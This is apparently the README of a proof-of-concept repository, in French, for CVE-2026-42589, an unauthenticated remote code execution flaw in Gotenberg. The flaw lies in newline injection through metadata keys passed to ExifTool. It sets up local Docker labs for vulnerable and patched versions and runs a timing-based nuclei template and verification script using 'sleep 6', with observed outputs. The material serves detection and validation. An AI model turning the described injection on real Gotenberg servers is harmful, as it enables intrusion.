
POC_CVE-2026-42589
Laboratoire de reproduction local et ébauche de template nuclei pour CVE-2026-42589 affectant Gotenberg.
CVE-2026-42589 est un problème d'exécution de code à distance non authentifié dans Gotenberg causé par une injection de saut de ligne dans les clés de métadonnées dans :
POST /forms/pdfengines/metadata/write
Les versions affectées de Gotenberg transmettent les clés de métadonnées contrôlées par l'utilisateur à ExifTool sans rejeter les caractères de contrôle. Une clé de métadonnées contenant des sauts de ligne échappés en JSON peut être divisée en arguments supplémentaires d'ExifTool.
Ce laboratoire a été utilisé pour valider :
gotenberg/gotenberg:8.29.1gotenberg/gotenberg:8.31.0Le template nuclei utilise uniquement une vérification temporelle non destructive avec sleep 6.
docker-compose.ymldocker-compose.latest.ymlCVE-2026-42589.yamlmanual_verify.pysample.pdfREADME.mdDémarrer Gotenberg 8.29.1 :
docker compose down -v
docker compose up -d
docker compose logs --tail=100 gotenberg
Vérifier la version :
curl -s http://127.0.0.1:3000/version
Vérification manuelle du timing multipart brut :
python3 manual_verify.py http://127.0.0.1:3000
Signal vulnérable attendu :
HTTP/1.1 500 Internal Server Error
TOTAL_TIME=6.xs
Résultat vulnérable observé :
HTTP/1.1 500 Internal Server Error
TOTAL_TIME=6.300s
Internal Server Error
Démarrer Gotenberg 8.31.0 :
docker compose -f docker-compose.latest.yml down -v
docker compose -f docker-compose.latest.yml up -d
docker compose -f docker-compose.latest.yml logs --tail=100 gotenberg
Vérifier la version :
curl -s http://127.0.0.1:3000/version
Exécuter la même vérification temporelle manuelle :
python3 manual_verify.py http://127.0.0.1:3000
Résultat de la version corrigée observé :
HTTP/1.1 400 Bad Request
TOTAL_TIME=0.145s
At least one PDF engine cannot process the requested metadata, while others may have failed to convert due to different issues
Valider le template :
nuclei -duc -validate -t CVE-2026-42589.yaml
Exécuter contre la cible vulnérable :
nuclei -duc -u http://127.0.0.1:3000 -t CVE-2026-42589.yaml
Comportement attendu :
8.29.1 : correspondance après la réponse 500 retardée8.31.0 : aucune correspondanceRésultat vulnérable observé :
[CVE-2026-42589] [http] [critical] http://127.0.0.1:3000/forms/pdfengines/metadata/write
[INF] Scan completed in 6.245907708s. 1 matches found.
Résultat de la version corrigée observé :
[INF] Scan completed in 93.01425ms. No results found.